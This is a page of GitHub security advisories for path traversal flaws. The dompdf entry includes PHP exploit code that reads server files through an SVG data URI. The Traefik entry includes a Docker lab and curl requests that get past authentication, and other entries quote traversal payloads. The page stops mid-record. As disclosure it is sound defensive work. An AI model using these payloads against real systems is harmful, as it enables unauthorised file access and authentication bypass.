CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13740 vulnerabilities reference this CWE, most recent first.
GHSA-CX86-64XF-65MP
Vulnerability from github – Published: 2022-05-02 06:18 – Updated: 2022-05-02 06:18Multiple directory traversal vulnerabilities in OI.Blogs 1.0.0, when magic_quotes_gpc is disabled, allow remote attackers to read arbitrary files via directory traversal sequences in the (1) theme parameter to loadStyles.php and the (2) scripts parameter to javascript/loadScripts.php. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2010-1082"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-23T19:30:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in OI.Blogs 1.0.0, when magic_quotes_gpc is disabled, allow remote attackers to read arbitrary files via directory traversal sequences in the (1) theme parameter to loadStyles.php and the (2) scripts parameter to javascript/loadScripts.php. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-cx86-64xf-65mp",
"modified": "2022-05-02T06:18:51Z",
"published": "2022-05-02T06:18:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1082"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/38726"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CX8J-VF9X-758J
Vulnerability from github – Published: 2024-09-05 18:30 – Updated: 2024-09-05 21:31An issue was discovered in za-internet C-MOR Video Surveillance 5.2401. Sensitive information is stored in cleartext. It was found out that sensitive information, for example login credentials of cameras, is stored in cleartext. Thus, an attacker with filesystem access, for example exploiting a path traversal attack, has access to the login data of all configured cameras, or the configured FTP server.
{
"affected": [],
"aliases": [
"CVE-2024-45175"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-05T16:15:08Z",
"severity": "HIGH"
},
"details": "An issue was discovered in za-internet C-MOR Video Surveillance 5.2401. Sensitive information is stored in cleartext. It was found out that sensitive information, for example login credentials of cameras, is stored in cleartext. Thus, an attacker with filesystem access, for example exploiting a path traversal attack, has access to the login data of all configured cameras, or the configured FTP server.",
"id": "GHSA-cx8j-vf9x-758j",
"modified": "2024-09-05T21:31:34Z",
"published": "2024-09-05T18:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45175"
},
{
"type": "WEB",
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-028.txt"
},
{
"type": "WEB",
"url": "https://www.syss.de/pentest-blog/mehrere-sicherheitsschwachstellen-in-videoueberwachungssoftware-c-mor-syss-2024-020-bis-030"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CX8M-MFQM-J9VM
Vulnerability from github – Published: 2022-05-17 02:00 – Updated: 2022-05-17 02:00Directory traversal vulnerability in the administration console in IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.41, 7.0 before 7.0.0.19, and 8.0 before 8.0.0.1 allows remote attackers to read arbitrary files via a .. (dot dot) in the URI.
{
"affected": [],
"aliases": [
"CVE-2011-1359"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-09-06T15:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the administration console in IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.41, 7.0 before 7.0.0.19, and 8.0 before 8.0.0.1 allows remote attackers to read arbitrary files via a .. (dot dot) in the URI.",
"id": "GHSA-cx8m-mfqm-j9vm",
"modified": "2022-05-17T02:00:45Z",
"published": "2022-05-17T02:00:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1359"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/69473"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/45749"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg1PM45322"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg21509257"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/74817"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/49362"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CX96-42PX-69FM
Vulnerability from github – Published: 2026-07-22 21:30 – Updated: 2026-07-22 21:30Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration.
Exploitation conditions: An external user
Researcher: Nikita Sveshnikov (Positive Technologies)
Research
dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):
Listing 1. chroot settings
$rootDir = realpath(__DIR__ . "/../");
$this->setChroot(array($rootDir));
// result: chroot = ["/path/to/vendor/dompdf/dompdf"]
When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:
Listing 2. Blocking link
<!-- BLOCKED: /tmp/ is outside chroot -->
<img src="file:///tmp/secret.png">
How the protection is bypassed:
An attacker wraps the link to the target file in SVG format and delivers it via data: URI:
Listing 3. Wrapping link in SVG
<img src="...">
Inside the base64 payload is an SVG containing the <image> element that points to the target file:
Listing 4. Pointing to the target file
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="589" height="415">
<image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/>
</svg>
Why the bypass works:
The issue is that dompdf handles the SVG twice: first through its own validator and then via php-svg-lib — and the second pass does not apply the protection that the first pass does.
Step 1. The data:// protocol has no validation rules (Options.php:546-547):
Listing 5. Lack of rules
case "data://":
break; // no rules
SVG content passes without any checks.
Step 2. dompdf pre‑parses the SVG and validates the links inside it (Cache.php:137-183), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.
Step 3. When rendering, the PDF backend passes the SVG to php-svg-lib with external links enabled (lib/Cpdf.php:6315-6319):
Listing 6. Passing the SVG
$doc = new \Svg\Document();
$doc->allowExternalReferences = true; // forced
$doc->loadFile($file);
php-svg-lib is a separate library that has no information about the chroot directory or the dompdf validation rules.
Step 4. The <image> handler in php-svg-lib blocks only phar://, everything else is allowed when allowExternalReferences is true (php-svg-lib/src/Svg/Tag/Image.php:60-68):
Listing 7. phar:// blocking
if ($scheme === "phar"
|| ($this->document->allowExternalReferences === false && $scheme !== "data")) {
return;
}
$this->document->getSurface()->drawImage($this->href, ...);
Step 5. drawImage() invokes file_get_contents() with no restrictions (php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172):
Listing 8. file_get_contents() call
$data = file_get_contents($image); // reads ANY path
There is no chroot check. No protocol validation. The file is read and embedded into the PDF.
An example of exploitation:
Listing 9. An example of a vulnerable code (html2pdf.php)
require_once __DIR__ . '/vendor/autoload.php';
$dompdf = new Dompdf\Dompdf();
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream('poc.pdf', ['Attachment' => false]);
Listing 10. An example attack on the vulnerable code
$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';
$svg = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">'
. '<image xlink:href="' . htmlspecialchars($file, ENT_QUOTES) . '" x="0" y="0" width="589" height="415"/>'
. '</svg>';
$html = '<html><body>'
. '<img src="data:image/svg+xml;base64,' . base64_encode($svg) . '">'
. '</body></html>';
$url = 'http://example.com/html2pdf.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];
// use key 'http' even if you send the request to https://...
$options = [
'http' => [
'header' => $headers,
'method' => 'POST',
'content' => http_build_query($data),
'ignore_errors' => true,
],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
Figure 1. The image was read successfully
Credits
Nikita Sveshnikov (Positive Technologies)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dompdf/dompdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56722"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:30:01Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "**Description:** An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server\u2019s file system, bypassing the `chroot` restriction. The vulnerability is exploitable in the default configuration.\n**Exploitation conditions:** An external user\n**Researcher:** Nikita Sveshnikov (Positive Technologies)\n\n## Research\ndompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`):\n\n_Listing 1. `chroot` settings_\n```\n$rootDir = realpath(__DIR__ . \"/../\");\n$this-\u003esetChroot(array($rootDir));\n// result: chroot = [\"/path/to/vendor/dompdf/dompdf\"]\n```\nWhen the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `\u0441hroot`. A direct link to the file outside this directory is correctly blocked:\n\n_Listing 2. Blocking link_\n```\n\u003c!-- BLOCKED: /tmp/ is outside chroot --\u003e\n\u003cimg src=\"file:///tmp/secret.png\"\u003e\n```\n### How the protection is bypassed:\nAn attacker wraps the link to the target file in SVG format and delivers it via `data:`\u202fURI:\n\n_Listing 3. Wrapping link in SVG_\n```\n\u003cimg src=\"...\"\u003e\n```\nInside the base64 payload is an SVG containing the `\u003cimage\u003e` element that points to the target file:\n\n_Listing 4. Pointing to the target file_\n```\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n width=\"589\" height=\"415\"\u003e\n \u003cimage xlink:href=\"/tmp/secret.png\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/\u003e\n\u003c/svg\u003e\n```\n### Why the bypass works:\nThe issue is that dompdf handles the SVG twice: first through its own validator and then via\u202f `php-svg-lib` \u2014 and the second pass does not apply the protection that the first pass does.\n\n**Step\u202f1.** The `data://` protocol has no validation rules (`Options.php:546-547`):\n\n_Listing 5. Lack of rules_\n```\ncase \"data://\":\n break; // no rules\n```\n\nSVG content passes without any checks.\n\n**Step\u202f2.** dompdf pre\u2011parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.\n\n**Step\u202f3.** When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`):\n\n_Listing 6. Passing the SVG_\n```\n$doc = new \\Svg\\Document();\n$doc-\u003eallowExternalReferences = true; // forced\n$doc-\u003eloadFile($file);\n```\n`php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules.\n\n**Step 4.** The `\u003cimage\u003e` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when allowExternalReferences is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`):\n\n_Listing 7. `phar://` blocking_\n```\nif ($scheme === \"phar\"\n || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 $scheme !== \"data\")) {\n return;\n}\n$this-\u003edocument-\u003egetSurface()-\u003edrawImage($this-\u003ehref, ...);\n```\n**Step 5.** `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`):\n\n_Listing 8. `file_get_contents()` call_\n```\n$data = file_get_contents($image); // reads ANY path\n```\nThere is no chroot check. No protocol validation. The file is read and embedded into the PDF.\n\n### An example of exploitation:\n_Listing 9. An example of a vulnerable code (html2pdf.php)_\n```\nrequire_once __DIR__ . \u0027/vendor/autoload.php\u0027;\n\n$dompdf = new Dompdf\\Dompdf();\n$dompdf-\u003eloadHtml($_POST[\u0027html\u0027]);\n$dompdf-\u003erender();\n$dompdf-\u003estream(\u0027poc.pdf\u0027, [\u0027Attachment\u0027 =\u003e false]);\n```\n\n_Listing 10. An example attack on the vulnerable code_\n```\n$file = $_GET[\u0027file\u0027] ?? \u0027/tmp/user_files/user_1/private_image.png\u0027;\n\n$svg = \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"589\" height=\"415\"\u003e\u0027\n . \u0027\u003cimage xlink:href=\"\u0027 . htmlspecialchars($file, ENT_QUOTES) . \u0027\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/\u003e\u0027\n . \u0027\u003c/svg\u003e\u0027;\n\n$html = \u0027\u003chtml\u003e\u003cbody\u003e\u0027\n . \u0027\u003cimg src=\"data:image/svg+xml;base64,\u0027 . base64_encode($svg) . \u0027\"\u003e\u0027\n . \u0027\u003c/body\u003e\u003c/html\u003e\u0027;\n\n$url = \u0027http://example.com/html2pdf.php\u0027;\n$data = [\u0027html\u0027 =\u003e $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key \u0027http\u0027 even if you send the request to https://...\n$options = [\n \u0027http\u0027 =\u003e [\n \u0027header\u0027 =\u003e $headers,\n \u0027method\u0027 =\u003e \u0027POST\u0027,\n \u0027content\u0027 =\u003e http_build_query($data),\n \u0027ignore_errors\u0027 =\u003e true,\n ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\n_Figure 1. The image was read successfully_\n\u003cimg width=\"875\" height=\"404\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2\" /\u003e\n\n## Credits\nNikita Sveshnikov (Positive Technologies)",
"id": "GHSA-cx96-42px-69fm",
"modified": "2026-07-22T21:30:01Z",
"published": "2026-07-22T21:30:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-cx96-42px-69fm"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/commit/bf7b02f642e26007dedc5a22b3d6e15f9931120a"
},
{
"type": "PACKAGE",
"url": "https://github.com/dompdf/dompdf"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI"
}
GHSA-CX9X-FM2C-C65M
Vulnerability from github – Published: 2026-06-13 03:30 – Updated: 2026-06-13 03:30The LWS Optimize – All-in-One Speed Booster & Cache Tools plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 3.3.19. This is due to the combine_current_css() function trusting values harvested from page HTML and converting same-site URLs to absolute filesystem paths before reading them with file_get_contents()/Minify\CSS::add(), without enforcing that the resolved path stay within ABSPATH or have a .css extension. This makes it possible for authenticated attackers, with Editor-level access and above, to read arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2026-12089"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-13T03:16:19Z",
"severity": "MODERATE"
},
"details": "The LWS Optimize \u2013 All-in-One Speed Booster \u0026 Cache Tools plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 3.3.19. This is due to the combine_current_css() function trusting \u003clink rel=\"stylesheet\" href=\"...\"\u003e values harvested from page HTML and converting same-site URLs to absolute filesystem paths before reading them with file_get_contents()/Minify\\CSS::add(), without enforcing that the resolved path stay within ABSPATH or have a .css extension. This makes it possible for authenticated attackers, with Editor-level access and above, to read arbitrary files.",
"id": "GHSA-cx9x-fm2c-c65m",
"modified": "2026-06-13T03:30:23Z",
"published": "2026-06-13T03:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12089"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/lws-optimize/tags/3.3.19/Classes/Front/LwsOptimizeCSSManager.php#L289"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/lws-optimize/tags/3.3.19/Classes/Front/LwsOptimizeCSSManager.php#L61"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5cb80db2-753c-40fa-aee4-7d8c1749d037?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CXG5-JQHX-8CV4
Vulnerability from github – Published: 2022-05-01 18:07 – Updated: 2022-05-01 18:07Directory traversal vulnerability in session.rb in Hiki 0.8.0 through 0.8.6 allows remote attackers to delete arbitrary files via directory traversal sequences in the session ID, which is matched against an insufficiently restrictive regular expression before it is used to construct a filename that is marked for deletion at logout.
{
"affected": [],
"aliases": [
"CVE-2007-2836"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-07-02T19:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in session.rb in Hiki 0.8.0 through 0.8.6 allows remote attackers to delete arbitrary files via directory traversal sequences in the session ID, which is matched against an insufficiently restrictive regular expression before it is used to construct a filename that is marked for deletion at logout.",
"id": "GHSA-cxg5-jqhx-8cv4",
"modified": "2022-05-01T18:07:40Z",
"published": "2022-05-01T18:07:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2836"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/35029"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=430691"
},
{
"type": "WEB",
"url": "http://hikiwiki.org/en/advisory20070624.html"
},
{
"type": "WEB",
"url": "http://hikiwiki.org/hiki-0_8_6.patch"
},
{
"type": "WEB",
"url": "http://jvn.jp/jp/JVN%2305187780/index.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/37469"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/25764"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/25874"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2007/dsa-1324"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/24603"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/2304"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CXGH-P94H-2C85
Vulnerability from github – Published: 2022-05-17 02:20 – Updated: 2022-05-17 02:20In the WP Rocket plugin 2.9.3 for WordPress, the Local File Inclusion mitigation technique is to trim traversal characters (..) -- however, this is insufficient to stop remote attacks and can be bypassed by using 0x00 bytes, as demonstrated by a .%00.../.%00.../ attack.
{
"affected": [],
"aliases": [
"CVE-2017-11658"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-26T15:29:00Z",
"severity": "HIGH"
},
"details": "In the WP Rocket plugin 2.9.3 for WordPress, the Local File Inclusion mitigation technique is to trim traversal characters (..) -- however, this is insufficient to stop remote attacks and can be bypassed by using 0x00 bytes, as demonstrated by a .%00.../.%00.../ attack.",
"id": "GHSA-cxgh-p94h-2c85",
"modified": "2022-05-17T02:20:12Z",
"published": "2022-05-17T02:20:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11658"
},
{
"type": "WEB",
"url": "https://gist.github.com/Shinkurt/157dbb3767c9489f3d754f79b183a890"
},
{
"type": "WEB",
"url": "https://wp-rocket.me/changelog"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/8872"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CXH8-623X-RHRW
Vulnerability from github – Published: 2023-02-22 21:30 – Updated: 2023-03-03 03:30A Local File Inclusion (LFI) vulnerability in interface/forms/LBF/new.php in OpenEMR < 7.0.0 allows remote authenticated users to execute code via the formname parameter.
{
"affected": [],
"aliases": [
"CVE-2023-22973"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-22T21:15:00Z",
"severity": "HIGH"
},
"details": "A Local File Inclusion (LFI) vulnerability in interface/forms/LBF/new.php in OpenEMR \u003c 7.0.0 allows remote authenticated users to execute code via the formname parameter.",
"id": "GHSA-cxh8-623x-rhrw",
"modified": "2023-03-03T03:30:23Z",
"published": "2023-02-22T21:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22973"
},
{
"type": "WEB",
"url": "https://www.open-emr.org/wiki/index.php/OpenEMR_Patches#7.0.0_Patch_.2811.2F30.2F22.29"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/openemr-remote-code-execution-in-your-healthcare-system"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CXJQ-MRR5-89RV
Vulnerability from github – Published: 2026-08-06 16:51 – Updated: 2026-08-06 16:51Summary
There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.*)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.52
- https://github.com/traefik/traefik/releases/tag/v3.6.23
- https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex. ### Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group. **Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix. **Attack flow:** 1. Attacker sends `GET /api../admin` 2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment) 3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware) 4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin` 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin` 7. Attacker receives protected content without authentication **Suggested fix:** Add the same JoinPath equality check after line 67:if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {
http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
return
}
services:
traefik:
image: traefik:v3.7.6
command:
- "--api.insecure=true"
- "--providers.file.filename=/etc/traefik/dynamic.yml"
- "--entrypoints.web.address=:80"
ports:
- "8080:8080"
- "80:80"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
healthcheck:
test: ["CMD", "traefik", "healthcheck"]
interval: 5s
timeout: 3s
retries: 5
backend:
image: node:22-alpine
working_dir: /app
volumes:
- ./server.js:/app/server.js:ro
command: ["node", "server.js"]
healthcheck:
test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"]
interval: 5s
timeout: 3s
retries: 5
http:
routers:
public-api:
rule: "PathPrefix(`/api`)"
entryPoints: [web]
middlewares: [rewrite-api]
service: backend-svc
priority: 1
protected-admin:
rule: "PathPrefix(`/admin`)"
entryPoints: [web]
middlewares: [auth]
service: backend-svc
priority: 2
middlewares:
rewrite-api:
replacePathRegex:
regex: "^/api(.*)"
replacement: "/$1"
auth:
basicAuth:
users:
- "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/"
services:
backend-svc:
loadBalancer:
servers:
- url: "http://backend:3000"
const http = require('http');
const path = require('path');
const server = http.createServer((req, res) => {
const normalized = path.posix.normalize(req.url.split('?')[0]);
res.setHeader('Content-Type', 'text/plain');
if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); }
else if (normalized === '/admin' || normalized.startsWith('/admin/')) {
res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`);
} else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); }
});
server.listen(3000);
docker compose up -d && sleep 5
# Confirm auth is enforced:
curl -s -o /dev/null -w "%{http_code}" http://localhost/admin
# → 401
# Auth bypass:
curl -s http://localhost/api../admin
# → ADMIN_SECRET_DATA (normalized=/admin)
# URL-encoded variant:
curl -s http://localhost/api%2e%2e/admin
# → ADMIN_SECRET_DATA (normalized=/admin)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.51"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.52"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.22"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.23"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.6"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-65600"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T16:51:10Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThere is a critical authentication-bypass vulnerability in Traefik\u0027s `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.52\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.\n\n\n### Details\nWhen ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), an attacker can inject implicit traversal sequences into the capture group.\n\n**Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.\n\n\n**Attack flow:**\n\n1. Attacker sends `GET /api../admin`\n2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment)\n3. Router matches `PathPrefix(/api)` \u2192 selects the public router (no auth middleware)\n4. ReplacePathRegex applies `^/api(.*)` \u2192 captures `../admin` \u2192 replacement produces `/../admin`\n5. No normalization check exists \u2192 path forwarded to backend as-is\n6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin`\n7. Attacker receives protected content without authentication\n\n**Suggested fix:** 